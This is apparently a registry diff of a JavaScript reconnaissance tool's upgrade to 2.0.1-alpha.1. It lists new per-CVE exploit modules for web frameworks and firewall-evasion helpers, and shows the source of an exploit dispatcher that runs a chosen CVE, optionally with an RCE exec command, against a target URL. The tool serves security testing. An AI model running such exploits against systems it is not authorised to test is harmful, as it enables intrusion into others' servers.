@js-recon/js-recon 1.4.3 → 2.0.1-alpha.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.claude-sync/sync.sh +1 -1
- package/.github/workflows/build-and-prettify.yaml +55 -25
- package/.github/workflows/codeql.yml +33 -0
- package/.github/workflows/exploit-smoke-test.yaml +160 -0
- package/.github/workflows/framework-detection-smoke-test.yaml +135 -0
- package/.github/workflows/plumber.yml +20 -0
- package/.github/workflows/promote-js-recon.yml +5 -3
- package/.github/workflows/publish-js-recon.yml +6 -1
- package/.github/workflows/rules-smoke-test.yaml +15 -7
- package/.nvmrc +1 -0
- package/.plumber.yaml +151 -0
- package/CHANGELOG.md +54 -0
- package/CONTRIBUTING.md +32 -0
- package/Dockerfile +1 -0
- package/README.md +55 -2
- package/SECURITY.md +1 -1
- package/build/analyze/engine/astEngine.js +10 -9
- package/build/analyze/engine/astEngine.js.map +1 -1
- package/build/analyze/engine/csMastSEngine.js +6 -6
- package/build/analyze/engine/csMastSEngine.js.map +1 -1
- package/build/analyze/engine/index.js +1 -1
- package/build/analyze/engine/index.js.map +1 -1
- package/build/analyze/engine/requestEngine.js +6 -6
- package/build/analyze/engine/requestEngine.js.map +1 -1
- package/build/analyze/helpers/determineCompatibleVersion.js +70 -0
- package/build/analyze/helpers/determineCompatibleVersion.js.map +1 -0
- package/build/analyze/helpers/engineHelpers/findMemberExpressionAssignment.js +9 -3
- package/build/analyze/helpers/engineHelpers/findMemberExpressionAssignment.js.map +1 -1
- package/build/analyze/helpers/initRules.js +42 -24
- package/build/analyze/helpers/initRules.js.map +1 -1
- package/build/analyze/helpers/outputHelper.js +3 -3
- package/build/analyze/helpers/outputHelper.js.map +1 -1
- package/build/analyze/helpers/schemas.js +1 -0
- package/build/analyze/helpers/schemas.js.map +1 -1
- package/build/analyze/helpers/validate.js +9 -5
- package/build/analyze/helpers/validate.js.map +1 -1
- package/build/analyze/index.js +26 -16
- package/build/analyze/index.js.map +1 -1
- package/build/cliProgram.js +710 -0
- package/build/cliProgram.js.map +1 -0
- package/build/completion/index.js +245 -339
- package/build/completion/index.js.map +1 -1
- package/build/completion/introspect.js +17 -0
- package/build/completion/introspect.js.map +1 -0
- package/build/config/applicationConfig.js +494 -0
- package/build/config/applicationConfig.js.map +1 -0
- package/build/cs_mast/index.js +18 -17
- package/build/cs_mast/index.js.map +1 -1
- package/build/endpoints/gen_report/gen_json.js +2 -2
- package/build/endpoints/gen_report/gen_json.js.map +1 -1
- package/build/endpoints/gen_report/utility/iterate_n_store.js +1 -1
- package/build/endpoints/gen_report/utility/iterate_n_store.js.map +1 -1
- package/build/endpoints/index.js +12 -12
- package/build/endpoints/index.js.map +1 -1
- package/build/endpoints/next_js/client_jsFilesHref.js +3 -3
- package/build/endpoints/next_js/client_jsFilesHref.js.map +1 -1
- package/build/endpoints/next_js/client_jsonParse.js +4 -4
- package/build/endpoints/next_js/client_jsonParse.js.map +1 -1
- package/build/endpoints/next_js/client_mappedJsonFile.js +6 -6
- package/build/endpoints/next_js/client_mappedJsonFile.js.map +1 -1
- package/build/endpoints/next_js/client_subsequentRequests.js +5 -5
- package/build/endpoints/next_js/client_subsequentRequests.js.map +1 -1
- package/build/exploit/angular/cve-2026-68945.js +61 -0
- package/build/exploit/angular/cve-2026-68945.js.map +1 -0
- package/build/exploit/index.js +60 -0
- package/build/exploit/index.js.map +1 -0
- package/build/exploit/next/cve-2025-29927.js +65 -0
- package/build/exploit/next/cve-2025-29927.js.map +1 -0
- package/build/exploit/next/cve-2026-64645.js +51 -0
- package/build/exploit/next/cve-2026-64645.js.map +1 -0
- package/build/exploit/nuxt/cve-2026-71315.js +47 -0
- package/build/exploit/nuxt/cve-2026-71315.js.map +1 -0
- package/build/exploit/nuxt/cve-2026-71320.js +114 -0
- package/build/exploit/nuxt/cve-2026-71320.js.map +1 -0
- package/build/exploit/react/cve-2025-55182.js +116 -0
- package/build/exploit/react/cve-2025-55182.js.map +1 -0
- package/build/exploit/registry/cveRegistry.js +115 -0
- package/build/exploit/registry/cveRegistry.js.map +1 -0
- package/build/exploit/types.js +2 -0
- package/build/exploit/types.js.map +1 -0
- package/build/exploit/utility/compareResponses.js +29 -0
- package/build/exploit/utility/compareResponses.js.map +1 -0
- package/build/exploit/utility/outputHelper.js +22 -0
- package/build/exploit/utility/outputHelper.js.map +1 -0
- package/build/exploit/utility/rawRequest.js +54 -0
- package/build/exploit/utility/rawRequest.js.map +1 -0
- package/build/exploit/utility/sandboxRce.js +49 -0
- package/build/exploit/utility/sandboxRce.js.map +1 -0
- package/build/exploit/utility/toEngineOutput.js +28 -0
- package/build/exploit/utility/toEngineOutput.js.map +1 -0
- package/build/exploit/utility/wsClient.js +78 -0
- package/build/exploit/utility/wsClient.js.map +1 -0
- package/build/exploit/vite/cve-2025-30208.js +44 -0
- package/build/exploit/vite/cve-2025-30208.js.map +1 -0
- package/build/exploit/vite/cve-2026-39363.js +60 -0
- package/build/exploit/vite/cve-2026-39363.js.map +1 -0
- package/build/fingerprint/index.js +11 -21
- package/build/fingerprint/index.js.map +1 -1
- package/build/globalConfig.js +2 -2
- package/build/globalConfig.js.map +1 -1
- package/build/index.js +16 -555
- package/build/index.js.map +1 -1
- package/build/lazyLoad/angular/angular_getFromPageSource.js +3 -3
- package/build/lazyLoad/angular/angular_getFromPageSource.js.map +1 -1
- package/build/lazyLoad/downloadFilesUtil.js +51 -40
- package/build/lazyLoad/downloadFilesUtil.js.map +1 -1
- package/build/lazyLoad/downloadQueue.js +154 -50
- package/build/lazyLoad/downloadQueue.js.map +1 -1
- package/build/lazyLoad/downloadResponse.js +113 -0
- package/build/lazyLoad/downloadResponse.js.map +1 -0
- package/build/lazyLoad/generic/generic_crawlPages.js +186 -0
- package/build/lazyLoad/generic/generic_crawlPages.js.map +1 -0
- package/build/lazyLoad/generic/generic_downloadFiles.js +81 -0
- package/build/lazyLoad/generic/generic_downloadFiles.js.map +1 -0
- package/build/lazyLoad/generic/generic_extractLinks.js +79 -0
- package/build/lazyLoad/generic/generic_extractLinks.js.map +1 -0
- package/build/lazyLoad/generic/generic_getScriptTags.js +152 -0
- package/build/lazyLoad/generic/generic_getScriptTags.js.map +1 -0
- package/build/lazyLoad/generic/generic_importMapDiscovery.js +87 -0
- package/build/lazyLoad/generic/generic_importMapDiscovery.js.map +1 -0
- package/build/lazyLoad/generic/generic_resolveScope.js +61 -0
- package/build/lazyLoad/generic/generic_resolveScope.js.map +1 -0
- package/build/lazyLoad/generic/generic_scanAttributesForJs.js +122 -0
- package/build/lazyLoad/generic/generic_scanAttributesForJs.js.map +1 -0
- package/build/lazyLoad/generic/generic_stringsDiscovery.js +103 -0
- package/build/lazyLoad/generic/generic_stringsDiscovery.js.map +1 -0
- package/build/lazyLoad/generic/generic_webpackChunkPaths.js +56 -0
- package/build/lazyLoad/generic/generic_webpackChunkPaths.js.map +1 -0
- package/build/lazyLoad/globals.js +35 -0
- package/build/lazyLoad/globals.js.map +1 -1
- package/build/lazyLoad/index.js +311 -175
- package/build/lazyLoad/index.js.map +1 -1
- package/build/lazyLoad/methodFilter.js +2 -0
- package/build/lazyLoad/methodFilter.js.map +1 -1
- package/build/lazyLoad/next_js/NextJsCrawler.js +39 -14
- package/build/lazyLoad/next_js/NextJsCrawler.js.map +1 -1
- package/build/lazyLoad/next_js/next_GetJSScript.js +3 -3
- package/build/lazyLoad/next_js/next_GetJSScript.js.map +1 -1
- package/build/lazyLoad/next_js/next_GetLazyResourcesBuildManifestJs.js +4 -4
- package/build/lazyLoad/next_js/next_GetLazyResourcesBuildManifestJs.js.map +1 -1
- package/build/lazyLoad/next_js/next_GetLazyResourcesWebpackJs.js +21 -20
- package/build/lazyLoad/next_js/next_GetLazyResourcesWebpackJs.js.map +1 -1
- package/build/lazyLoad/next_js/next_SubsequentRequests.js +100 -99
- package/build/lazyLoad/next_js/next_SubsequentRequests.js.map +1 -1
- package/build/lazyLoad/next_js/next_bruteForceJsFiles.js +1 -1
- package/build/lazyLoad/next_js/next_bruteForceJsFiles.js.map +1 -1
- package/build/lazyLoad/next_js/next_buildId.js +2 -2
- package/build/lazyLoad/next_js/next_buildId.js.map +1 -1
- package/build/lazyLoad/next_js/next_getClientSidePaths.js +2 -2
- package/build/lazyLoad/next_js/next_getClientSidePaths.js.map +1 -1
- package/build/lazyLoad/next_js/next_parseLayoutJs.js +6 -6
- package/build/lazyLoad/next_js/next_parseLayoutJs.js.map +1 -1
- package/build/lazyLoad/next_js/next_promiseResolve.js +1 -1
- package/build/lazyLoad/next_js/next_promiseResolve.js.map +1 -1
- package/build/lazyLoad/next_js/next_routerStateForge.js +341 -0
- package/build/lazyLoad/next_js/next_routerStateForge.js.map +1 -0
- package/build/lazyLoad/next_js/next_scriptTagsSubsequentRequests.js +1 -1
- package/build/lazyLoad/next_js/next_scriptTagsSubsequentRequests.js.map +1 -1
- package/build/lazyLoad/next_js/next_serverActionIdScan.js +77 -0
- package/build/lazyLoad/next_js/next_serverActionIdScan.js.map +1 -0
- package/build/lazyLoad/nuxt_js/nuxt_astParse.js +15 -13
- package/build/lazyLoad/nuxt_js/nuxt_astParse.js.map +1 -1
- package/build/lazyLoad/nuxt_js/nuxt_getBuildsManifest.js +2 -2
- package/build/lazyLoad/nuxt_js/nuxt_getBuildsManifest.js.map +1 -1
- package/build/lazyLoad/nuxt_js/nuxt_getFromPageSource.js +3 -3
- package/build/lazyLoad/nuxt_js/nuxt_getFromPageSource.js.map +1 -1
- package/build/lazyLoad/nuxt_js/nuxt_stringAnalysisJSFiles.js +2 -2
- package/build/lazyLoad/nuxt_js/nuxt_stringAnalysisJSFiles.js.map +1 -1
- package/build/lazyLoad/outputPath.js +92 -0
- package/build/lazyLoad/outputPath.js.map +1 -0
- package/build/lazyLoad/react/react_followImports.js +15 -5
- package/build/lazyLoad/react/react_followImports.js.map +1 -1
- package/build/lazyLoad/react/react_getScriptTags.js +11 -6
- package/build/lazyLoad/react/react_getScriptTags.js.map +1 -1
- package/build/lazyLoad/react/react_sourcemapUrls.js +3 -2
- package/build/lazyLoad/react/react_sourcemapUrls.js.map +1 -1
- package/build/lazyLoad/react/react_webpackChunkPaths.js +12 -203
- package/build/lazyLoad/react/react_webpackChunkPaths.js.map +1 -1
- package/build/lazyLoad/researchUtils.js +15 -0
- package/build/lazyLoad/researchUtils.js.map +1 -0
- package/build/lazyLoad/shared/webpackChunkParsers.js +218 -0
- package/build/lazyLoad/shared/webpackChunkParsers.js.map +1 -0
- package/build/lazyLoad/stagnation/stagnationMonitor.js +63 -0
- package/build/lazyLoad/stagnation/stagnationMonitor.js.map +1 -0
- package/build/lazyLoad/svelte/svelte_discoverPagesFromJs.js +1 -0
- package/build/lazyLoad/svelte/svelte_discoverPagesFromJs.js.map +1 -1
- package/build/lazyLoad/svelte/svelte_getFromPageSource.js +5 -5
- package/build/lazyLoad/svelte/svelte_getFromPageSource.js.map +1 -1
- package/build/lazyLoad/svelte/svelte_getVersionJson.js +2 -2
- package/build/lazyLoad/svelte/svelte_getVersionJson.js.map +1 -1
- package/build/lazyLoad/svelte/svelte_recursivePageCrawl.js +6 -6
- package/build/lazyLoad/svelte/svelte_recursivePageCrawl.js.map +1 -1
- package/build/lazyLoad/svelte/svelte_stringAnalysisJSFiles.js +2 -2
- package/build/lazyLoad/svelte/svelte_stringAnalysisJSFiles.js.map +1 -1
- package/build/lazyLoad/techDetect/checkAngularJS.js +1 -1
- package/build/lazyLoad/techDetect/checkAngularJS.js.map +1 -1
- package/build/lazyLoad/techDetect/checkNuxtJS.js +3 -3
- package/build/lazyLoad/techDetect/checkNuxtJS.js.map +1 -1
- package/build/lazyLoad/techDetect/checkSvelte.js +0 -1
- package/build/lazyLoad/techDetect/checkSvelte.js.map +1 -1
- package/build/lazyLoad/techDetect/checkVueJS.js +6 -6
- package/build/lazyLoad/techDetect/checkVueJS.js.map +1 -1
- package/build/lazyLoad/techDetect/index.js +106 -60
- package/build/lazyLoad/techDetect/index.js.map +1 -1
- package/build/lazyLoad/vue/vue_RuntimeJs.js +20 -15
- package/build/lazyLoad/vue/vue_RuntimeJs.js.map +1 -1
- package/build/lazyLoad/vue/vue_SingleJsFileOnHome.js +10 -5
- package/build/lazyLoad/vue/vue_SingleJsFileOnHome.js.map +1 -1
- package/build/lazyLoad/vue/vue_discoverJsFiles.js +20 -17
- package/build/lazyLoad/vue/vue_discoverJsFiles.js.map +1 -1
- package/build/lazyLoad/vue/vue_getClientSidePaths.js +70 -46
- package/build/lazyLoad/vue/vue_getClientSidePaths.js.map +1 -1
- package/build/lazyLoad/vue/vue_jsImports.js +3 -2
- package/build/lazyLoad/vue/vue_jsImports.js.map +1 -1
- package/build/lazyLoad/vue/vue_pageSrc.js +3 -2
- package/build/lazyLoad/vue/vue_pageSrc.js.map +1 -1
- package/build/lazyLoad/vue/vue_reconstructSourceMaps.js +6 -5
- package/build/lazyLoad/vue/vue_reconstructSourceMaps.js.map +1 -1
- package/build/lazyLoad/vue/vue_recursiveClientSidePathDownload.js +10 -21
- package/build/lazyLoad/vue/vue_recursiveClientSidePathDownload.js.map +1 -1
- package/build/lazyLoad/vue/vue_severalJsFilesHome.js +5 -4
- package/build/lazyLoad/vue/vue_severalJsFilesHome.js.map +1 -1
- package/build/lazyLoad/vue/vue_stringJsFiles.js +28 -25
- package/build/lazyLoad/vue/vue_stringJsFiles.js.map +1 -1
- package/build/lazyLoad/vue/vue_viteMapDeps.js +8 -2
- package/build/lazyLoad/vue/vue_viteMapDeps.js.map +1 -1
- package/build/load/index.js +8 -7
- package/build/load/index.js.map +1 -1
- package/build/map/angular_js/getAngularConnections.js +6 -6
- package/build/map/angular_js/getAngularConnections.js.map +1 -1
- package/build/map/graphql/resolveGraphql.js +6 -6
- package/build/map/graphql/resolveGraphql.js.map +1 -1
- package/build/map/index.js +17 -17
- package/build/map/index.js.map +1 -1
- package/build/map/interactive-mode/commandHandler.js +278 -0
- package/build/map/interactive-mode/commandHandler.js.map +1 -0
- package/build/map/interactive-mode/commandHelpers.js +189 -0
- package/build/map/interactive-mode/commandHelpers.js.map +1 -0
- package/build/map/interactive-mode/esqueryGen.js.map +1 -0
- package/build/map/interactive-mode/helpMenu.js +11 -0
- package/build/map/interactive-mode/helpMenu.js.map +1 -0
- package/build/map/interactive-mode/inputPatch.js.map +1 -0
- package/build/map/interactive-mode/interactive.js +71 -0
- package/build/map/interactive-mode/interactive.js.map +1 -0
- package/build/map/interactive-mode/keybindings.js.map +1 -0
- package/build/map/interactive-mode/printer.js.map +1 -0
- package/build/map/interactive-mode/ui.js.map +1 -0
- package/build/map/next_js/getAxiosInstances.js +5 -5
- package/build/map/next_js/getAxiosInstances.js.map +1 -1
- package/build/map/next_js/getExports.js +4 -4
- package/build/map/next_js/getExports.js.map +1 -1
- package/build/map/next_js/getFetchInstances.js +10 -10
- package/build/map/next_js/getFetchInstances.js.map +1 -1
- package/build/map/next_js/getTurbopackConnections.js +8 -8
- package/build/map/next_js/getTurbopackConnections.js.map +1 -1
- package/build/map/next_js/getWebpackConnections.js +27 -16
- package/build/map/next_js/getWebpackConnections.js.map +1 -1
- package/build/map/next_js/interactive.js +3 -65
- package/build/map/next_js/interactive.js.map +1 -1
- package/build/map/next_js/interactive_helpers/commandHandler.js +38 -290
- package/build/map/next_js/interactive_helpers/commandHandler.js.map +1 -1
- package/build/map/next_js/interactive_helpers/commandHelpers.js +0 -184
- package/build/map/next_js/interactive_helpers/commandHelpers.js.map +1 -1
- package/build/map/next_js/interactive_helpers/helpMenu.js +2 -10
- package/build/map/next_js/interactive_helpers/helpMenu.js.map +1 -1
- package/build/map/next_js/resolveAxios.js +6 -6
- package/build/map/next_js/resolveAxios.js.map +1 -1
- package/build/map/next_js/resolveAxiosHelpers/findAxiosClients.js +4 -4
- package/build/map/next_js/resolveAxiosHelpers/findAxiosClients.js.map +1 -1
- package/build/map/next_js/resolveAxiosHelpers/findAxiosInstance.js +2 -2
- package/build/map/next_js/resolveAxiosHelpers/findAxiosInstance.js.map +1 -1
- package/build/map/next_js/resolveAxiosHelpers/findCrossChunkParams.js +5 -5
- package/build/map/next_js/resolveAxiosHelpers/findCrossChunkParams.js.map +1 -1
- package/build/map/next_js/resolveAxiosHelpers/handleAxiosCreate.js +10 -10
- package/build/map/next_js/resolveAxiosHelpers/handleAxiosCreate.js.map +1 -1
- package/build/map/next_js/resolveAxiosHelpers/handleZDotCreate.js +13 -9
- package/build/map/next_js/resolveAxiosHelpers/handleZDotCreate.js.map +1 -1
- package/build/map/next_js/resolveAxiosHelpers/processAxiosCall.js +12 -8
- package/build/map/next_js/resolveAxiosHelpers/processAxiosCall.js.map +1 -1
- package/build/map/next_js/resolveAxiosHelpers/processDirectAxiosCall.js +12 -8
- package/build/map/next_js/resolveAxiosHelpers/processDirectAxiosCall.js.map +1 -1
- package/build/map/next_js/resolveAxiosHelpers/processExportedEndpoints.js +11 -11
- package/build/map/next_js/resolveAxiosHelpers/processExportedEndpoints.js.map +1 -1
- package/build/map/next_js/resolveAxiosHelpers/traceAxiosInstanceExports.js +16 -16
- package/build/map/next_js/resolveAxiosHelpers/traceAxiosInstanceExports.js.map +1 -1
- package/build/map/next_js/resolveFetch.js +23 -23
- package/build/map/next_js/resolveFetch.js.map +1 -1
- package/build/map/next_js/resolveNewRequest.js +10 -10
- package/build/map/next_js/resolveNewRequest.js.map +1 -1
- package/build/map/next_js/resolveServerActions.js +4 -4
- package/build/map/next_js/resolveServerActions.js.map +1 -1
- package/build/map/next_js/utils.js +8 -2
- package/build/map/next_js/utils.js.map +1 -1
- package/build/map/react_js/getReactConnections.js +21 -14
- package/build/map/react_js/getReactConnections.js.map +1 -1
- package/build/map/svelte_js/interactive.js +3 -54
- package/build/map/svelte_js/interactive.js.map +1 -1
- package/build/map/vue_js/getViteConnections.js +23 -16
- package/build/map/vue_js/getViteConnections.js.map +1 -1
- package/build/map/vue_js/interactive.js +3 -63
- package/build/map/vue_js/interactive.js.map +1 -1
- package/build/map/vue_js/interactive_helpers/commandHandler.js +34 -283
- package/build/map/vue_js/interactive_helpers/commandHandler.js.map +1 -1
- package/build/map/vue_js/interactive_helpers/helpMenu.js +2 -10
- package/build/map/vue_js/interactive_helpers/helpMenu.js.map +1 -1
- package/build/map/vue_js/taint_utils.js +1 -1
- package/build/map/vue_js/taint_utils.js.map +1 -1
- package/build/map/vue_js/vue_resolveFetch.js +12 -12
- package/build/map/vue_js/vue_resolveFetch.js.map +1 -1
- package/build/map/vue_js/vue_resolveHttpClient.js +18 -18
- package/build/map/vue_js/vue_resolveHttpClient.js.map +1 -1
- package/build/map/vue_js/vue_resolveXhr.js +11 -11
- package/build/map/vue_js/vue_resolveXhr.js.map +1 -1
- package/build/mcp/chatOneShot.js +7 -7
- package/build/mcp/chatOneShot.js.map +1 -1
- package/build/mcp/claudeCodeCreds.js +5 -5
- package/build/mcp/claudeCodeCreds.js.map +1 -1
- package/build/mcp/cli.js +36 -35
- package/build/mcp/cli.js.map +1 -1
- package/build/mcp/config.js +4 -4
- package/build/mcp/config.js.map +1 -1
- package/build/mcp/index.js +7 -7
- package/build/mcp/index.js.map +1 -1
- package/build/mcp/mcpServer.js +3 -2
- package/build/mcp/mcpServer.js.map +1 -1
- package/build/mcp/skills.js +1 -0
- package/build/mcp/skills.js.map +1 -1
- package/build/mcp/tools.js +5 -4
- package/build/mcp/tools.js.map +1 -1
- package/build/proxy/checkFeasibility.js +8 -4
- package/build/proxy/checkFeasibility.js.map +1 -1
- package/build/proxy/checkFireWallBlocking.js +23 -13
- package/build/proxy/checkFireWallBlocking.js.map +1 -1
- package/build/proxy/detectBlockedResponse.js +205 -0
- package/build/proxy/detectBlockedResponse.js.map +1 -0
- package/build/proxy/genReq.js +434 -127
- package/build/proxy/genReq.js.map +1 -1
- package/build/proxy/index.js +3 -3
- package/build/proxy/index.js.map +1 -1
- package/build/proxy/oxylabsFallback.js +110 -0
- package/build/proxy/oxylabsFallback.js.map +1 -0
- package/build/proxy/proxyFeasibilityRequest.js +11 -9
- package/build/proxy/proxyFeasibilityRequest.js.map +1 -1
- package/build/refactor/index.js +83 -79
- package/build/refactor/index.js.map +1 -1
- package/build/refactor/next/index.js +69 -26
- package/build/refactor/next/index.js.map +1 -1
- package/build/refactor/next/transform.js +11 -4
- package/build/refactor/next/transform.js.map +1 -1
- package/build/refactor/next/validator.js +7 -7
- package/build/refactor/next/validator.js.map +1 -1
- package/build/refactor/react/index.js +13 -13
- package/build/refactor/react/index.js.map +1 -1
- package/build/refactor/react/validator.js +7 -7
- package/build/refactor/react/validator.js.map +1 -1
- package/build/refactor/react-vite/index.js +3 -3
- package/build/refactor/react-vite/index.js.map +1 -1
- package/build/refactor/remote/hf-client.js +1 -0
- package/build/refactor/remote/hf-client.js.map +1 -1
- package/build/refactor/remote/version-detect.js +12 -12
- package/build/refactor/remote/version-detect.js.map +1 -1
- package/build/refactor/vue/index.js +6 -6
- package/build/refactor/vue/index.js.map +1 -1
- package/build/refactor/vue/vite.js +6 -6
- package/build/refactor/vue/vite.js.map +1 -1
- package/build/report/index.js +30 -8
- package/build/report/index.js.map +1 -1
- package/build/report/swaggerJacker.js +63 -0
- package/build/report/swaggerJacker.js.map +1 -0
- package/build/report/utility/genHtml.js +7 -7
- package/build/report/utility/genHtml.js.map +1 -1
- package/build/report/utility/populateDb/populateAnalysisFindings.js +2 -2
- package/build/report/utility/populateDb/populateAnalysisFindings.js.map +1 -1
- package/build/report/utility/populateDb/populateEndpoints.js +3 -3
- package/build/report/utility/populateDb/populateEndpoints.js.map +1 -1
- package/build/report/utility/populateDb/populateMappedJson.js +2 -2
- package/build/report/utility/populateDb/populateMappedJson.js.map +1 -1
- package/build/report/utility/populateDb/populateMappedOpenapi.js +3 -3
- package/build/report/utility/populateDb/populateMappedOpenapi.js.map +1 -1
- package/build/run/bundler-detect.js +45 -9
- package/build/run/bundler-detect.js.map +1 -1
- package/build/run/cancellableStep.js +27 -0
- package/build/run/cancellableStep.js.map +1 -0
- package/build/run/dashboard/dashboardHtml.js +150 -0
- package/build/run/dashboard/dashboardHtml.js.map +1 -0
- package/build/run/dashboard/fsBrowser.js +43 -0
- package/build/run/dashboard/fsBrowser.js.map +1 -0
- package/build/run/dashboard/server.js +123 -0
- package/build/run/dashboard/server.js.map +1 -0
- package/build/run/dashboard/state.js +97 -0
- package/build/run/dashboard/state.js.map +1 -0
- package/build/run/index.js +239 -204
- package/build/run/index.js.map +1 -1
- package/build/run/interruptHandler.js +18 -0
- package/build/run/interruptHandler.js.map +1 -1
- package/build/run/outputDirectory.js +377 -0
- package/build/run/outputDirectory.js.map +1 -0
- package/build/sourcemaps/index.js +116 -29
- package/build/sourcemaps/index.js.map +1 -1
- package/build/strings/index.js +38 -28
- package/build/strings/index.js.map +1 -1
- package/build/strings/openapi.js +4 -4
- package/build/strings/openapi.js.map +1 -1
- package/build/strings/permutate.js +4 -4
- package/build/strings/permutate.js.map +1 -1
- package/build/strings/secrets.js +1 -0
- package/build/strings/secrets.js.map +1 -1
- package/build/strings/trufflehog.js +66 -19
- package/build/strings/trufflehog.js.map +1 -1
- package/build/strings/trufflehogConfig.js +36 -0
- package/build/strings/trufflehogConfig.js.map +1 -0
- package/build/strings/trufflehogDownload.js +115 -0
- package/build/strings/trufflehogDownload.js.map +1 -0
- package/build/utility/ai.js +33 -4
- package/build/utility/ai.js.map +1 -1
- package/build/utility/banner.js +4 -3
- package/build/utility/banner.js.map +1 -1
- package/build/utility/configureSandbox.js +2 -2
- package/build/utility/configureSandbox.js.map +1 -1
- package/build/utility/downloadProgress.js +99 -0
- package/build/utility/downloadProgress.js.map +1 -0
- package/build/utility/globals.js +19 -11
- package/build/utility/globals.js.map +1 -1
- package/build/utility/heap.js +2 -1
- package/build/utility/heap.js.map +1 -1
- package/build/utility/makeReq.js +490 -257
- package/build/utility/makeReq.js.map +1 -1
- package/build/utility/openapiGenerator.js +2 -2
- package/build/utility/openapiGenerator.js.map +1 -1
- package/build/utility/printMsg.js +53 -0
- package/build/utility/printMsg.js.map +1 -0
- package/build/utility/progressLog.js +68 -7
- package/build/utility/progressLog.js.map +1 -1
- package/build/utility/resolvePath.js +2 -1
- package/build/utility/resolvePath.js.map +1 -1
- package/build/utility/ruleVersionMap.js +73 -0
- package/build/utility/ruleVersionMap.js.map +1 -0
- package/build/utility/targetInputs.js +177 -0
- package/build/utility/targetInputs.js.map +1 -0
- package/build/utility/urlUtils.js +37 -1
- package/build/utility/urlUtils.js.map +1 -1
- package/config.dist.yaml +251 -0
- package/contributing/testing.md +106 -0
- package/eslint.config.js +24 -0
- package/package.json +22 -5
- package/scripts/exploit-smoke-test.js +82 -0
- package/scripts/framework-detect-smoke-test.js +64 -0
- package/scripts/postinstall-completion.mjs +40 -0
- package/scripts/smoke-test.js +12 -0
- package/build/lazyLoad/downloadLoadedJsUtil.js +0 -98
- package/build/lazyLoad/downloadLoadedJsUtil.js.map +0 -1
- package/build/map/next_js/interactive_helpers/esqueryGen.js.map +0 -1
- package/build/map/next_js/interactive_helpers/inputPatch.js.map +0 -1
- package/build/map/next_js/interactive_helpers/keybindings.js.map +0 -1
- package/build/map/next_js/interactive_helpers/printer.js.map +0 -1
- package/build/map/next_js/interactive_helpers/ui.js.map +0 -1
- /package/build/map/{next_js/interactive_helpers → interactive-mode}/esqueryGen.js +0 -0
- /package/build/map/{next_js/interactive_helpers → interactive-mode}/inputPatch.js +0 -0
- /package/build/map/{next_js/interactive_helpers → interactive-mode}/keybindings.js +0 -0
- /package/build/map/{next_js/interactive_helpers → interactive-mode}/printer.js +0 -0
- /package/build/map/{next_js/interactive_helpers → interactive-mode}/ui.js +0 -0
|
@@ -0,0 +1,60 @@
|
|
|
1
|
+
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
|
|
2
|
+
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
|
|
3
|
+
return new (P || (P = Promise))(function (resolve, reject) {
|
|
4
|
+
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
|
|
5
|
+
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
|
|
6
|
+
function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
|
|
7
|
+
step((generator = generator.apply(thisArg, _arguments || [])).next());
|
|
8
|
+
});
|
|
9
|
+
};
|
|
10
|
+
import chalk from "chalk";
|
|
11
|
+
import { findCveMetadata, groupedByFramework } from "./registry/cveRegistry.js";
|
|
12
|
+
import { toExploitFinding, generateExploitOutput } from "./utility/outputHelper.js";
|
|
13
|
+
import { toEngineOutput } from "./utility/toEngineOutput.js";
|
|
14
|
+
import { printMsg, MSG } from "../utility/printMsg.js";
|
|
15
|
+
import { generateEngineOutput } from "../analyze/helpers/outputHelper.js";
|
|
16
|
+
export { CVE_REGISTRY, groupedByFramework } from "./registry/cveRegistry.js";
|
|
17
|
+
/**
|
|
18
|
+
* Runs a single CVE exploit against a target and writes both output files.
|
|
19
|
+
*
|
|
20
|
+
* @param url Target base URL
|
|
21
|
+
* @param cveId CVE identifier to attempt (case-insensitive)
|
|
22
|
+
* @param options Output paths, exec command for RCE-class proofs, and request tuning
|
|
23
|
+
*/
|
|
24
|
+
const exploit = (url, cveId, options) => __awaiter(void 0, void 0, void 0, function* () {
|
|
25
|
+
printMsg(MSG.Header, `[i] Running 'exploit' module against ${url} (${cveId})`);
|
|
26
|
+
const cve = findCveMetadata(cveId);
|
|
27
|
+
if (!cve) {
|
|
28
|
+
printMsg(MSG.Err, `[!] Unknown CVE "${cveId}". Run 'js-recon exploit --list-cve' to see supported CVEs.`);
|
|
29
|
+
process.exit(1);
|
|
30
|
+
}
|
|
31
|
+
const handler = yield cve.handler();
|
|
32
|
+
const ctx = {
|
|
33
|
+
baseUrl: url,
|
|
34
|
+
timeout: options.timeout,
|
|
35
|
+
insecure: options.insecure,
|
|
36
|
+
execCmd: options.execCmd,
|
|
37
|
+
};
|
|
38
|
+
const outcome = yield handler(ctx);
|
|
39
|
+
if (outcome.vulnerable) {
|
|
40
|
+
printMsg(MSG.Run, `[✓] VULNERABLE: ${cve.id} — ${outcome.evidence}`);
|
|
41
|
+
}
|
|
42
|
+
else {
|
|
43
|
+
printMsg(MSG.Info, `[i] Not vulnerable: ${cve.id} — ${outcome.evidence}`);
|
|
44
|
+
}
|
|
45
|
+
generateExploitOutput(options.output, [toExploitFinding(cve.id, cve.commonName, cve.framework, url, outcome)]);
|
|
46
|
+
generateEngineOutput(options.engineOutput, [toEngineOutput(cve, url, outcome)]);
|
|
47
|
+
});
|
|
48
|
+
/** Prints all supported CVEs grouped by framework (alphabetical), sorted by CVE ID within each group. */
|
|
49
|
+
export const printCveList = () => {
|
|
50
|
+
for (const [framework, cves] of groupedByFramework()) {
|
|
51
|
+
console.log(chalk.cyan(`\n[${framework}]`));
|
|
52
|
+
for (const cve of cves) {
|
|
53
|
+
console.log(` ${chalk.green(cve.id)} ${chalk.dim(`(${cve.commonName})`)}`);
|
|
54
|
+
console.log(` ${chalk.dim(cve.description)}`);
|
|
55
|
+
}
|
|
56
|
+
}
|
|
57
|
+
console.log();
|
|
58
|
+
};
|
|
59
|
+
export default exploit;
|
|
60
|
+
//# sourceMappingURL=index.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
